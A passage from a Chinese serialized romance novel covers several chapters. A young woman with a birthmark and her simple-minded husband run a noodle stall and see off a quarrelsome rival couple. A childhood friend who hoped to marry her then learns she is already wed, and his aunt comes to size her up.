等面条端上来,饥肠辘辘的客人们准备开动,可一看碗里的东西都傻了眼,他们花钱就是来吃这玩意儿的? 就这咸菜,连油花都不见一点,还有那肉沫,要不仔细看,还以为是什么炒咸菜的佐料呢! 这些就算了,汤底好歹也要有点荤腥吧,就这清汤寡水的,当他们是出家的和尚呢? 他们抱着不死心的态度尝一口,说不定只是看起来不好吃呢,既然人家来摆摊,总不至于难吃得太过分吧? 可尝一口后,他们就后悔了,这哪儿是看起来不好吃,是真的太难吃! 汤底寡淡无味,咸菜咸得发苦,面条软烂像面糊,一点劲道感都没有,就这样的面还拿出来卖? 一个客人吃了一口之后一张脸都皱了起来,呸一声将嘴里发苦的咸菜给吐了出来。 “呸!老板娘,你过来!” 李秋萍正美美地想着今天能挣多少钱呢,就听到这怒气冲冲的声音,吓了一跳,赶紧走了过去。 “咋了这是?” 她正一脸疑惑时,客人将碗举高,凶神恶煞:“你尝尝,这玩意儿你能吃得进去?” 平常泼辣得像泼妇一样的李秋萍听到这话顿时就不乐意了:“你什么意思?这有汤有面有菜的,怎么就吃不进去了?” “哦,我知道了,想耍赖吃白食是不是?你这样的人老娘见多了,欺负我们是新来的!连老娘的便宜都敢占,也不去打听打听我李秋萍是什么人!” 那客人都气得愣住了,从来没见过这么厚颜无耻的人,自己的东西难吃还赖别人吃白食,就这样的东西,他喂给狗,狗都不一定吃! “呵!你哪儿来的脸说我,自己的东西什么味儿不知道吗?就这样的东西还敢拿出来卖,当心我去告你骗钱!” 客人将手里的碗啪一下重重放在桌上,里面的面汤都洒出来了不少,他从怀里掏出一个铜板,砸在了地上。 “这面老子只吃了一口,一文钱一口,算你赚了,今儿进了你们的摊子,算老子倒霉!” 他可不想和一个泼妇在大街上吵起来,她不要脸,他还要呢! 丢下一文钱,他转身就走,其他客人见状,也纷纷模仿,都丢下一文钱就走。 这面他们真是尝一口就再也吃不进去了,要是那老板娘是个脾气好的,他们倒也不至于这般,可看她那泼妇般的嚣张样,他们就觉得来气。 李秋萍和张铁牛都没料到这些人会不给钱,顿时脸色大变。 李秋萍追了不出,不由分说就扯住一个客人的衣裳:“给钱!五个铜板一碗,少一个都不行,你们这些吃白食的,我到县衙告你们去!” 客人被烦得不行,一脚将她给踹开,啐了她一口:“呸!你这黑心婆娘,就你那猪食不如的玩意儿还敢要五文钱,我看你是想钱想疯了!” 李秋萍被踹倒在地上,一时间爬不起来,见客人都跑光了,忙吼自家男人:“快追啊,别让他们跑了!” 张铁牛也想追,可他是个好面子的,现在周围都是看热闹的人,他们毫不避讳的说他们闲话,嘲笑他们,一时间,他觉得自己的脸面都被丢尽了,恨不得能挖个地洞钻进去! 羞愤无处发泄,他走到李秋萍身边,扬手便给了她一巴掌:“吵吵什么,老子的脸都被你给丢尽了,回去就休了你!” 都是这臭婆娘撺掇他来摆这劳什子摊,倒贴钱不说,还被这么多人看热闹! 李秋萍今天所受委屈再也憋不住了,坐在大街上就嚎啕大哭起来,丝毫不觉得丢人,骂骂咧咧骂着张铁牛。 “老天瞎了眼啊,让我嫁了这么个没心肝的男人,我给他老张家生了三个孩子,照顾一家老小生活,没有功劳也有苦劳吧,可他今天居然打我,还说要休了我!” “这日子没法儿过了啊” 这热闹让周围的人看得津津有味,特别是丑丫和阿福摊位上的客人,美美地吃着面条,还有免费的戏可以看,又下饭又有意思。 丑丫都忍不住伸着脑袋看对面的情况,许久后轻轻叹了一口气,这大概就是可怜人必有可恨之处吧。 李秋萍讨厌,张铁牛一个大男人却没有当担,把气撒在自己媳妇身上,也同样讨厌。 阿福在丑丫身边久了,大概能理解她的情绪,他傻傻地拍着自己的胸脯保证:“娘子放心,阿福会一辈子对你好的,才不像他们一样!” 丑丫莞尔一笑:“我知道,我家阿福最好了。” 中午一过,客流高峰期过了,丑丫和阿福可以清闲地休息一会儿,对面的生意依旧惨淡,本来东西就难吃,还闹了之前的事情,现在都没人进他们摊位了。 有不了解情况的行人想去看一看,刚挪了一个步子,就被附近的摊主给叫住了,当着李秋萍和张铁牛的面嚼舌根。 行人一听,哪儿还会进去吃,巴不得步子迈大一点赶紧走。 李秋萍气得又要去和别人吵架,但被张铁牛一瞪,立马又偃旗息鼓。 要说也是她跋扈、嘴欠、得理不饶人,将附近的摊主都给得罪遍了,才被人家给针对。 第52章 秋萍婶子,来两碗面呗 清闲了的丑丫勾唇一笑,带着阿福去和对面的李秋萍问个好,那天她来她摊位上捣乱那事儿,她可还记着呢。 李秋萍见她走过来,眼珠子都快瞪出来了:“你来干嘛?我们这里不欢迎你!” 丑丫不理她,悠哉地看了一眼他们案板上的东西,轻轻啧了一声。 难怪卖不出去,这样的东西,就他们自家吃也不会觉得好吃吧! 她像李秋萍那天一样,一屁股坐在了座位上:“秋萍婶子,来两碗面呗。” 李秋萍觉得这一幕似曾相识,但她现在正在气头上,不去想丑丫到底要作什么妖,只想将她给赶走。 “走走走,看见你就晦气,想吃老娘的面,五文一碗,少一个铜板都不行!” 对于她这反应,丑丫一点都不觉得意外,但故作诧异道:“呀,婶子你怎么还收钱呢?我们乡里乡亲的,不过吃你一碗面,开口就要五文一碗,你怎么说得出口的?” 李秋萍所有的话都噎在了嗓子里,这话何止是熟悉,分明就是之前从她嘴里冒出来的! 她可算知道了,这小蹄子是来看她的热闹呢! “滚!老娘的白面可是真金白银买的,请你白吃,做梦呢?” 她现在骂得起劲,还觉得自己很有道理,一如那日她到丑丫那儿打秋风一样,也觉得自己占了理。 那日她想的是乡里乡亲的,请她吃一碗面怎么了,现在她又觉得她的东西凭什么白给人吃,就那油盐调料和白面,哪样不是她花钱买的? 所以,不管怎么说,道理都被她给占了,别人和她闹,那是别人不讲道理! 丑丫脸上还是挂着浅浅的笑,看得李秋萍愈发的恼火。 “婶子那日可不是这样说的,我可记着呢,你说要是哪天你摆了摊,乡邻来了都是不收钱的,怎么我来了婶子又是要收钱,又是要赶我走的?” 李秋萍气得胸膛不断起伏,胸口的那股郁气像是有一根刺戳在她的喉咙,拔不出来,也咽不下去。 那话确实是她说的,可她那是就是随口一说,怎么会想到这小贱人会抓住不放! 丑丫看她噎得说不出话的样子就觉得解气,于是拔高声音道:“婶子你这是不认账吗?附近的这些摊主那天可是听得清清楚楚的!” 展现人缘的时候到了,丑丫和阿福摆摊的这段时间,与附近的摊主相处都很友好,听她这么说,摊主们都连声附和。 “对!我们都听到了,你可不能赖账啊!” 张铁牛听懂了是怎么一回事儿,原来自家这臭婆娘背着他在街上胡咧咧! 他就是个爱面子但又没本事的软包怂蛋,不敢与人硬刚,只想息事宁人。 “你这臭婆娘!老子娶了你倒了八辈子的霉!” 他骂了李秋萍一句,然后又瞪了丑丫和阿福几眼,不情不愿地往汤锅里煮了两碗面,等面出锅,没好气的端到两人面前。 阿福看着那碗烂乎乎的面条上面盖着一坨发黑的咸菜,嫌弃地皱起了眉头,丑丫闻了一下那味道,也没什么胃口。 她牵着阿福站起身,又看着李秋萍和张铁牛勾唇一笑:“谢谢张叔和秋萍婶子了,但我和阿福没什么胃口,还是回我们自己的面摊上吃吧。” 李秋萍和张铁牛气得差点吐血,哪里还不懂,这小贱人就是来玩儿他们的! 丑丫和阿福悠哉悠哉地回了自己的面摊,周围的摊主们哈哈大笑,丑丫也俏皮地对着阿福吐了吐舌头,耍人的感觉还挺好的。 阿福很少见这样俏皮又可爱的娘子,那双好看又清澈的凤眸盯着她看了许久,丑丫都被他那灼灼的眼神盯得害羞了。 “看什么呢?” 她轻轻地嘟囔一声。 阿福诚实地回答:“娘子可爱。” 丑丫红着脸娇嗔地看了他一眼,这嘴怎么跟抹了蜜一样,她长成这样,哪里会可爱了。 对面的李秋萍泼妇骂街,丑丫和阿福充耳不闻,到街上买了一碗炒花生,一人一颗地吃着,张铁牛则将桌上两碗没动过的面条都吃进肚里,吃得脸都绿了。 其实也不怪客人挑剔,这面条的确不好吃,这咸菜,咸得他喝了一壶水才缓过劲儿来。 但他们的倒霉时刻还没结束,下午,巡街的官差来了,见他们是新来的,按规矩要收他们三十文一个月的管理费。 张铁牛看着两个高大魁梧的官差觉得害怕,但是想想要交三十文钱,又硬着头皮和官差商量。 “两位官爷,我们就今天来摆一天,以后不来了,您看,就这一天,能不能不收我们钱?” 今天卖不出去东西,倒贴钱已经很郁闷了,现在居然还要交三十文的管理费,这不是将他的心放在油锅上煎吗? 官差看他那一脸的套近乎样,冷哼一声:“别给我我们来这套,我们是按规矩办事,既然要在街上摆摊,就要交管理费,就算只摆一天或是半天,都要交!” “不然其他人学你们,今天来摆一天不交钱,隔几天再来摆一天也不交钱,那我们还怎么管理集市!” 张铁牛被官差的冷脸吓得闭了嘴,准备憋屈的掏钱,可李秋萍却咽不下这口气。 “我们才来了一天,怎么就要交三十文钱了,我们一天都还没挣三十文呢!” 官差见这妇人准备耍赖,立马抽出了腰间的刀,锋利的寒光一闪,李秋萍吓得脸色发白,也不敢再说话,只能交了钱。 三十文啊,他们家几个月都不一定能挣得到三十文,现在一下子就要交出去了,而且今天一天都没生意,妥妥的倒贴钱! 官差走远了,张铁牛无能狂怒,将所有怨气都撒在李秋萍身上,骂声一句接一句。 街道正是热闹,两口子却已经在收拾东西准备回家了,来时东西是什么样,回去还是什么样。 丑丫看着他们准备走,扯着嗓子吆喝了一句:“张叔、婶子怎么就走了,这天色还大早的,明天记得来啊,不然这三十文的管理费可就白交了!” 伴随着其他摊主的笑声,张铁牛两口子瞪了她一眼,然后低着头,一个拉车,一个推车,灰溜溜的离开了镇上。 第53章 当年的小书童寻来 第二天丑丫和阿福照常出摊,却没看见张铁牛夫妻俩,想来也是,摆摊一天,一分没挣,还倒贴那么多钱,以张家公婆的抠门样,怎么可能还让李秋萍出来瞎折腾,及时止损才是最好的。 没了那将摆摊氛围搞得乌烟瘴气的两口子,附近的摊主们都很高兴,又恢复了平时说说笑笑的样子。 面摊挣钱,再加上林婉婉送的五百两银票,丑丫和阿福不缺钱了,摆摊也不像一开始那么勤快,有时隔两天才去一次。 大黑马太能吃了,不空出时间来去割草,根本填不满它的肚子,不出摊的日子,丑丫和阿福就一起上山放马、割草,顺便再打理一下他们的小家。 两人一起努力,将小院给翻新了一遍,原来的篱笆围墙都拆了,用泥巴筑墙,把小院围得结结实实的,还给小院装了一道结实的木门,现在不用担心村民随意闯进家里偷他们东西了。 主屋还是茅草房,只不过把屋顶给翻新了一遍,把成年的旧茅草给换下来,放上新的茅草,小院越来越有家的样子,属于丑丫和阿福两个人的家。 时间一晃到了九月,天又凉了一截,丑丫已经在加快做棉衣的进度,这天,她和阿福没去摆摊,阿福将大黑马牵到河边喝水洗澡,而她则在家里做衣裳。 院门被敲响,在院中做衣服的丑丫闻声赶紧站了起来跑去开门,以为是阿福回来的。 她满脸笑意地开门,可在门开的一瞬间,脸上的笑意僵在脸上。 门外站着一个瘦高清秀的青年男人,男人身上穿着一身青灰色的细棉布长衫,头发一丝不苟地束成一个髻,横叉着一根木簪,面容清秀俊朗,一副书生模样。 丑丫没见过这人,面带疑惑,同时心里也升起警惕:“请问你找谁?” 付北辰有些局促的两手交叉握着,直到门口出现那抹与他记忆里很像,又不太像的身影时,才稍稍松了一口气,就连眼神中也有亮光闪过。 九年过去,还好她还是住在这里,不然他就找不到她了。 他轻咳一声,将自己的激动给压了下去,和煦温润的声音开口:“小柿子,你还记得我吗?” 丑丫一脸懵,不确定地指了指自己,疑惑问:“你是在和我说话吗?” 付北辰见她这样迷茫的样子,就知道她已经将当年的事情忘了,也忘了这个专属于他和她的称呼。 他心底涌上一阵失落,嘴角却依旧微微上扬着:“九年前,你在山脚下救了一个男孩,你送了他几个柿子,你还记得吗?” 丑丫歪着脑袋,调动着那些尘封已久的记忆,许久后才想起他说的那件事,一时间,她惊奇地呼出声:“你是小书童?” 付北辰见她终于想起自己,心口悬着的那块石头终于放下,轻快又激动的笑了起来:“是我,我现在叫付北辰。” 还好,他在她的记忆里还是有位置的,她没有将他忘得彻底。 丑丫对于付北辰会来找她,很是疑惑,她七岁那年,山上找吃的,找到了一棵没人摘的野柿子树。 野柿子,果子涩嘴,也只有枝头那几个被太阳充分照过的才会有点甜意,那时她很聪明,专门摘鸟啄过的,鸟啄过的大多都是甜的。 才七岁的她,身板小得可怜,哼哧哼哧地爬上枝头,只摘了四五个能吃的柿子,还都是被鸟啄过的,但她还是很开心,至少能有东西塞进饿得空空如也的肚子里,还吃不死人。 她下了山,却在山脚的路上捡到了一个饿晕的小男孩,那个男孩子她认识,是村里为数不多的能到镇上读书的孩子。 他家本来在村里还是日子过得不错的,可是夜里一场大火将家里烧了个精光,家人也全都烧死了,只有在镇上书院读书的他逃过一劫。 从小衣食无忧的他一下子遭此变故,都不知如何养活自己,村里人麻木冷漠,没人施以援手,他找不到吃的,便饿晕在了路上。 那时几个野柿子就是丑丫的全部,但看到饿晕了的付北辰,她还是将自己的柿子分给了他一半。 两个小孩儿,蹲在路边,大口大口地啃着不是很干净、不是很好吃的野柿子,那时候付北辰说,村民给她取的丑丫这个名字不好听,他就叫她小柿子吧。 是她用柿子救了他一命! 那天以后,丑丫有了一个暂时的搭伙过日子伙伴,两人约着一起去山里找吃的,他不会认吃的,她教他,而她有了一个伴,钻进山林里也不觉得害怕了。 但这样的日子也就持续了两天,小书童有亲戚来接他走了,他要去别的地方生活,她又只能一个人勇闯山林谋食。 那时,她还难过了好几天呢,想着为什么她就不能有一个亲戚上门来带她走,给她一碗饭吃。 只不过,这点难过,很快便消失不见了,就连那个和她短暂搭伙的小书童也被她抛之脑后,她要生存,她要活着,没有时间和精力去伤春悲秋。 过去的记忆一闪而过,意识回笼,丑丫看着他,礼貌又客气道:“要不进来坐坐?” 付北辰没推辞,微微点头,便跟着丑丫进了院子,院子里有一张小方桌和两个凳子,桌上还放着一个针线笸箩,里面有没做完的衣裳。 丑丫将人迎到桌前落座,之后转身去厨房里倒水。 付北辰局促地坐着,略显文弱的身板挺得笔直,他打量院落四周,院子虽然小,但收拾得井井有条,看得出小院的主人很会过日子。 想到这儿,他不禁勾起一抹浅浅的笑,她的确很会过日子,当年还那么小,她就能带着他满山跑,教他认各种能吃的食物。 视线转过,落在了眼前的针线笸箩上,待看清里面那件男人式样的衣裳,他的心咯噔了一声,脑子也有些乱。 她成亲了吗? 他想伸手,将那件衣裳给拿起来看,可就在这时,丑丫从厨房里端着一杯水回来了。 她笑着,像小时候那样,即使生活过得很艰难,却也还是会对他笑。 “家里没茶叶,这是我自己用晒干的野菊花泡的水,别嫌弃。” 第54章 长大后我回来娶你 他接过那一杯冒着热气的菊花茶,一阵浅淡的菊花香洒进鼻腔里,但是这一刻,这一缕幽香却不能抚平他焦躁的思绪。 付北辰沉默不语,丑丫也不知道该和他说些什么,毕竟她连他为什么会回来找她都不知道。 又过了一会儿,付北辰终于平复了自己的焦躁,想问出他的那个疑惑,可还没开口,就听门口处传来一阵马蹄声,紧接着,一个俊朗非凡的男人骑着一匹大黑马跨进了院子。 他是那样的威武不凡,他这些年念书,也算见过世面,可却不曾见过这般风光霁月之人,不由一下失了神。 丑丫见阿福回来,笑意盈盈地跑了过去,浑身都是幸福的气息:“阿福,你回来了,渴不渴?我给你倒水。” 付北辰落在阿福身上的目光转移到了丑丫身上,眼底的落寞想掩饰都掩饰不住,心口更是像被扎了一刀。 阿福翻身跳下马,目光直直地盯着付北辰,不知为何,他莫名不喜欢这个人,觉得他不怀好意! “娘子,我渴,想喝蜂蜜水!” 他一手牵着马,一手搂过丑丫的纤腰,抱一下才放她离开,眼神却瞟向付北辰,眉头得意地挑了挑。 大概男人天生就能感应出情敌,就算阿福现在心智不全,但他还是下意识就不喜付北辰。 尽管心里已经有了答案,但是听到男人那声娘子时,付北辰还是控制不住地颤了一下,手里的杯子落在了桌上,翻到,菊花茶洒了出来,一部分洒在了他的衣裳上。 他慌乱地要用手去扶杯子,将那两朵野菊花给捡回去:“不不好意思。” 丑丫忙制止他:“不用收拾,你快站起来,不然桌上的水就滴到你衣服上了,我去拿帕子来擦就可以。” 丑丫进了厨房拿帕子,阿福冷冷地看了他一眼,然后牵着大黑马往马圈走去。 桌子被重新擦干净,丑丫又给付北辰重新泡了一杯菊花茶,还给阿福冲了蜂蜜水。 三人坐在桌前说话,阿福搬了凳子,要挨着娘子坐,一双眼睛直勾勾地盯着付北辰,充满敌意。 丑丫知道阿福爱吃醋,毕竟他曾经可是连林婉婉一个女孩子的醋都吃,但付北辰对于她来说,现在就是一个陌生人,他们九年没见面了,实在不用这样。 她好笑地扯了一下阿福的衣裳,小声道:“阿福,不能这样看别人,不礼貌。” 阿福充耳不闻,大大喝了一口蜂蜜水,故意当着付北辰的面炫耀:“娘子冲的蜂蜜水真甜,阿福最喜欢喝了!” 付北辰心里有点苦涩,他已经看出来了这个俊美非凡的男人神智大概有点问题,可那又如何,她的眼里都是他,想来是发自心底的喜欢,终究是他来晚了。 “他是你相公?” 他看着丑丫,或许是心底的那点不死心让他问出口,但没说一个字,他的喉头都有点发苦。 丑丫看了眼阿福,眼角眉梢都是笑,那是幸福满足的笑:“嗯,他叫阿福。” 砰一声,付北辰只觉得自己的心像是从高空坠落,摔成了一滩肉泥,连疼都不知道了,只剩下麻木。 原来从她口中听到这个消息是这种感觉。 他苦涩地笑道:“真好,你们成亲多长时间了?” 丑丫没想到他会这样问,回想了她和阿福的认识的时间,她在盛夏时捡到了他,现在已经是深秋,已经有三个月了。 没等她回答,阿福就已经抢先道:“三个月,我和娘子已经认识三个月了!” 他得意地挺起胸膛,他可是会数数的! 付北辰的笑更加的苦涩,三个月,是不是他再来早一点,他就有机会了? 丑丫觉得付北辰的脸色有些怪异,换了个话题道:“对了,你怎么想起回来了,你这些年过得怎么样?” 他轻轻点头,故作轻松:“我过得很好,这些年住在姨母家,姨母和姨丈一直供我读书,我已经考中秀才了。” 丑丫真心替他开心:“那可太好了,以后不能叫你小书童,得叫你小秀才了!” 小秀才,专属于小柿子的小秀才,从前是小书童,现在是小秀才。 付北辰心里苦得发酸,那年,饿得快死的他,被一个瘦瘦小小的小姑娘用几个柿子给救活了。 明明她也只有那么几个柿子,明明她给了他,她就会吃不饱,明明她受苦受难的时候,他的父母乃至他都没伸出过援助之手,可她还是那么善良地救了他。 “丑丫一点也不好听,我不想这样叫你,我叫你小柿子好不好?这样的话我就一辈子能记得你是我的救命恩人了!” “好呀,那我叫你小书童吧!” “小柿子,我亲戚来带我回家了,我不能和你一起去找吃的了,你等我,我长大后就回来娶你!” “一定要等我,我会回来娶你的,我好好读书,以后让你当秀才夫人!” 儿时不过短短两天的记忆,却被他铭记多年,也成了他这么多年刻苦读书的动力。 他想再努力一点,再强大一点,然后去找那个善良的小姑娘,将她娶回家,用一辈子来回报她。 他看了无数的书,写了无数的题,终于得了个秀才名号,满心欢喜地来寻他压在心底多年的小柿子,可她却已经嫁作他人妇。 丑丫不知道付北辰心里想了这么多,也不知道他竟将儿时她当做玩笑的话当了真,还记了这么多年。 眼看也快要到了饭点,她看着付北辰道:“你今天留在这儿吃饭吧,我现在去烧火。” 付北辰站起来了身,推辞:“不了,我这就走了。” 他怕再待下去他会控制不住自己的情绪。 长衫的袖子很宽大,他的手藏在了袖子里,手握得很紧,缓了一会儿后,将眼底快要抑制不住的泪光给强压下去,然后小心翼翼地从袖袋里掏出一根簪子。 银质的发簪,是一株柿子的式样,很好看,很精致。 明明发簪很轻,但他的手却止不住颤抖,将那根柿柿如意的簪子递到了丑丫跟前:“这是给你准备的谢礼,感谢你当年的救命之恩,现在就当做你们的新婚贺礼吧。” 其实这是他准备的定情礼,他想求娶她,若是她愿意,这就是他们的定亲信物。 第55章 若是他早去提亲,是不是就有机会了? 丑丫现在终于明白他来的目的,原来是来答谢她当年送的那几个柿子。 但她压根就没将这件事放在心上,若不是他寻来,她也不会记起还有这么一回事儿,她的那几个被鸟啄过的破柿子,根本不值人家用银簪子来道谢。 “你的心意我收下了,但礼物就不必了,我没把这事儿记在心上,你也不必记挂,当年我救你也是顺手的事。” 付北辰听着她的话,心像是被用针来来回回的戳,他知道她的意思,她救他是因为她善良,这件事于她而言,只是一件小到差点从记忆里消失的小事。 只有他,将当年那个瘦小可怜却善良的小姑娘记在了心里。 他收回簪子,手又缩回了衣袖里,苦涩又浅淡道:“好,那我走了,祝你和你相公幸福。” 他脸上挂着强装出来的轻松,目光看向阿福,即使心底再有不甘,也只能死死地压住。 他有他的风骨,有他的底线,既然不能成为那个守护她的人,看着她被别人守护也是可以的,只要她好就好。 一切只能怪他来得太晚,只能怪他和她有缘无分。 付北辰走了,来时满心欢喜和忐忑,现在只余心乱如麻、心如死灰。 小院内的丑丫又拿起了那件给阿福做的棉衣半成品继续细心的缝,嘴边似自言自语地嘀咕:“付北辰怎么看着怪怪的,不过他这个人倒是不错,那点陈芝麻烂谷子的小事他还记在心上。” 阿福听到娘子夸别的男人,不开心了,嘴撅起来,那双清澈的凤眸直勾勾地盯着丑丫。 丑丫缝着衣服,想忽略那道热烈的目光,却怎么也忽略不了:“阿福,不能这么小气,我不过就提上一嘴嘛,再说了,人家又没有恶意。” 阿福想说,那个男的对她没有恶意,但对他来说是个威胁,他总感觉他不怀好意,好像要和他抢娘子。 但他没说出口,要是说了的话,娘子肯定又要笑他傻了! 付北辰回到姨母家时天已经黑了,姨母还在等着他回来吃饭。 见他回来,姨母忙将锅里热着的饭菜给端了上来,满脸笑意问道:“怎么样,见到那个姑娘了吗?” 她这侄儿有个喜欢了很多年的姑娘,她是知道的,她之前就提议过帮他上门去提亲,可他却一直坚持要等他考中秀才,风风光光地把人家姑娘给娶进门。 付北辰一路上恍恍惚惚,心情低沉,但不想让疼爱他的姨母担心,在进家门前他强打起精神,装出没事儿的样子。 听到姨母这样问,他的手还是忍不住微微一紧,随后点了点头:“嗯。” 姨母笑开了花:“那人家姑娘怎么说?同意了吗?要不我明天就找媒婆上门去说亲?我连礼物都买好了。” 付北辰想继续装没事人,可看着姨母那满脸期盼的神情,再也装不下去。 “她成亲了。” 姨母还在想着请哪个媒婆,却听到侄儿这句低沉又落寞的话,顿时所有的思绪都被惊飞了。 “成成亲了?” 怎么会这样呢,她没见过那个姑娘,但侄儿可是念了人家这么多年,她知道他有多喜欢。 付北辰忍了一下午的心酸在这时涌了上来,没落泪,眼里却有泪光,苦涩地笑着:“三个月前成亲的,姨母,你说我当初要是听你的话,先去提亲,我是不是就有机会了?” 姨母看着侄儿这落寞的样子,别提多心疼了,但握着手踟蹰许久,却不知道该如何安慰。 好好的事儿怎么就成这样了呢?早上她可是看着一向不注重外表的侄儿特意换了一身新衣裳,好好收拾了自己才出门的,出门的时候多开心啊,怎么半天的功夫事情就成这样了呢! 付北辰拿起碗筷,往嘴里扒饭,想将自己快要给忍不住的泪意和饭一同咽进肚里。 “姨母,你也坐下吃饭吧,等了我这么久,肚子肯定饿了吧。” 姨母哪儿还吃得进去,她现在坐立不安,看着侄儿那样子,越看越心疼。 付北辰呆滞地吃着饭,一向懂礼节的他此刻却不管嘴里有饭菜,自顾自地说着话。 “这件事也怪我,当年我说过要娶她,可是到底年岁太小,我当了真,她却只当做玩笑话,没记在心里,甚至连我是谁都要记不起来了。” “我见到她相公了,长得很好,看着很厉害,对她也很好,她也很喜欢他” 姨母听着他的话,不敢打断,他这样说也好,起码没憋着,但她的心难受,揪得一阵一阵的疼。 家长都是心疼自家孩子的,见自家孩子受了委屈,不免会对别家的孩子产生不好的看法。 此刻,她忍不住的埋怨上了那个被自家侄儿惦记了这么多年的姑娘。 她家侄儿多好啊,人懂事,长得还俊,最主要的是,她侄儿可是秀才呀,多少黄花大闺女等着嫁给他侄儿呢! 姨母一晚上提心吊胆的,不敢乱说话,就怕让自家侄儿更难过,看着付北辰熄了灯入睡,她才进了自己的房间和自家老伴说起这件事。 她辗转反侧,越想越睡不着,见自家老伴儿睡得都要打呼噜了,不满的掐了他胳膊几下。 “你说,这好好的事儿怎么就成这样了呢,我都去布庄给北辰挑婚服的料子了,就等着亲定下给他缝喜服呢!” 姨丈被掐了几下,脑子清醒了一瞬:“哎呀,睡吧,缘分这种事儿,强求不来,北辰是喜欢人家姑娘没错,但也没和人家说,没和人家定亲不是,这男大当婚,女大当嫁,人家找到合适的,成亲了也没什么错处。” 姨母撅着嘴,不满的嘟囔:“事儿是这么个理,我知道,但我就是咽不下这口气,不行,我得去打听打听是哪个姑娘这么对我侄儿,我去会会,喂,你怎么又睡着了” 伴随着姨丈的呼噜声,姨母絮絮叨叨了大半夜才抵不住困意睡了过去,而付北辰则是一夜无眠。 丑丫并不知道有人因为她寝食难安,还是和阿福一起快乐的过着自己的小日子。 十月份,天已经冷了,路边的草变得枯黄,还隐隐有下霜的迹象,这段时间他们去摆摊的次数少了,都在抓紧时间给大黑马囤草,以及囤过冬的柴火。 第56章 她家侄儿没戏了! 草棚里堆满了割回来的茅草,秋天的草水分少,但好在长得旺,就算大黑马不爱吃,也勉强能吃饱。 小柴房里也堆满了新砍回来的柴火,够他们两个暖呼呼的过冬。 丑丫和阿福所在的这个小村子位于武朝的西南地带,已经邻近和他国的交界处,冬天不会下雪,但是会下霜,干燥寒冷,没有足够的柴火很难熬。 过冬的衣裳、柴火都准备好了,两人才重新收拾东西去摆摊。 大早上赶着马车出门,迎面而来的都是呼呼的寒气,丑丫心疼阿福在前面赶车受冻,给他用棉布缝了一个手套,里面还塞了棉花,口子处缝了两条系带,将手伸进去,再把带子系紧。 虽然有些笨重,但是很暖和,阿福也很喜欢。 两人都穿了新棉衣,阿福的是一身很普通的石青色,但是丑丫手艺很好,针脚细密,缝得整齐又扎实。 而丑丫的衣裳是桃红色,阿福之前给他选的那匹布料,一改之前沉闷老气的颜色,整个人都显得娇俏了许多,阿福一早上夸了她好几次漂亮,将她说得都不好意思红了脸。 天冷了,吃汤面的人更多了,热腾腾的大骨汤煮的面条,客人能连汤都给喝干净。 付北辰的姨母韩氏软磨硬泡了一个月,终于从自家侄儿口中得到了关于那姑娘的一星半点消息,然后又下功夫的去打听,终于锁定了目标。 他侄儿说那姑娘很善良,很可爱,很会过日子,脸上有一个红胎记,她问了不少人,他们都说镇上有个小面摊,老板娘就是个脸有胎记的爽利小姑娘。 而小姑娘还有个俊俏傻夫,惹的不少大姑娘小媳妇去偷看呢。 打听到这个消息,韩姨母便日日上街去蹲点,想看一看那个被自家侄儿记挂这么多年的小姑娘。 但可惜,蹲守了几日,都没等到丑丫和阿福来出摊,今日她依旧不死心的继续出门,皇天不负有心人,终于被她给等到了。 她颇有些气势汹汹的朝着面摊走去,但又想起来她可是个文明人,又强行让自己镇定下来,装作吃面的客人,在面摊上坐下,点了一碗面。 “小姑娘,给我来一碗面。” “好嘞,您稍等。” 丑丫甜甜应了一声,负责扯面的阿福已经将扯好的面条丢进锅里的笊篱里面,丑丫抖动笊篱,防止面条粘在一起。 韩姨母偷偷打量丑丫,嘴挺甜的,干活也麻利,瞧着是个爽快人,就是脸上有个胎记可惜了点。 阿福的感知很敏锐,他察觉到有目光盯着自家娘子看,锐利的眼神盯上韩姨母,将韩姨母给吓了一跳,但同时也发现,别人说的那个俊俏傻夫是真的俊。 这么好看一小伙,那眼神怪吓人的,要不是别人说他是个傻子,她还真看不出来。 她收回了自己的目光,心虚地看向别的方向,直到丑丫将一碗热气腾腾的面条端到她面前。 “大娘您慢用,要是汤不够,可以喊我,我给您添。” 韩姨母环视面摊一周,见现在所有客人都吃上了面,也没有客人来,就拉住丑丫的手,笑着道。 “丫头,要不你坐下和我说两句话吧,我孩子不在家,老伴儿又是个闷葫芦,一天到晚没个说话的伴儿,可把我给憋坏了。” 丑丫觉得这个大娘的要求有些奇怪,但见现在面摊上不忙,就答应了。 “好,大娘,你想说什么就说吧。” 韩氏心里满意,倒是个和善的。 她搅动着手里的面,吃了一口,别说,味道还挺好的,心里有默默给丑丫加上一个厨艺不错的标签。 她有一搭没一搭地和丑丫聊着,对这个小姑娘很是满意,都挑不出错处,可越是这样,她就越难受了。 要是她侄儿喜欢的姑娘是个刁蛮的,她还可以安慰自己是人家姑娘配不上她家侄儿,可看着姑娘这么好,她就越发替侄儿难过了。 喜欢了那么多年的姑娘嫁给了别人,他该有多伤心啊,早知道她当年就应该下手早一点,上门去提亲,给两人先定下亲事,也就不会发生这样的事了。 摊子上没来客人,阿福却没闲着,收拾吃完离去的客人的碗筷,擦拭桌子和台面,丑丫舍不得让阿福一个人忙活,和韩氏说了几句,便起身去和阿福一起忙活了。 “阿福,累不累,累就休息一会儿,我一会儿去给你买酥饼吃。” 阿福摇头,抢过丑丫手里的抹布,将她按在椅子上休息:“不累,娘子休息,阿福干活,阿福干活厉害。” 邻居的卖鞋大娘最喜欢看的就是这小两口你侬我侬,虽然自家老头年轻时对她也不错,但却没有这傻小子这么宠,自己没有受过这种待遇,看着别人秀恩爱就觉得挺甜的。 “阿福啊,要不你拿个裤腰带,把你娘子挂你裤腰上吧,这样就不怕她累着了。” 大娘明显是打趣的玩笑话,可傻傻的阿福却认真地思考起了这事儿的可能性,丑丫羞臊得红着脸看了大娘好几眼,小眼神里满是嗔怪和不好意思。 韩姨母更心塞了,这傻小子长得好看,会干活,还疼娘子,自家侄儿好像真的没戏了! 她来时想了很多,要是这姑娘不是个好的,不值得自家侄儿喜欢,或是姑娘嫁的相公比不上自家侄儿,她心里好歹有了个安慰。 但现在看来,姑娘是个好的,嫁的人也是个好的,小两口幸福着呢! 而她的傻侄儿,完完全全就是个偷偷喜欢了人家很多年,却连说出口的机会都没有的局外人! 心塞,想哭,生气! 韩姨母愤恨的情绪转化为食欲,低头猛吃面。 而此时街上,付北辰像个游魂一样游荡在街上,都快要一个月了,他还是没能彻底缓过来。 之前为了乡试,他埋头苦读,等终于中了秀才,才有一丝的喘息机会。 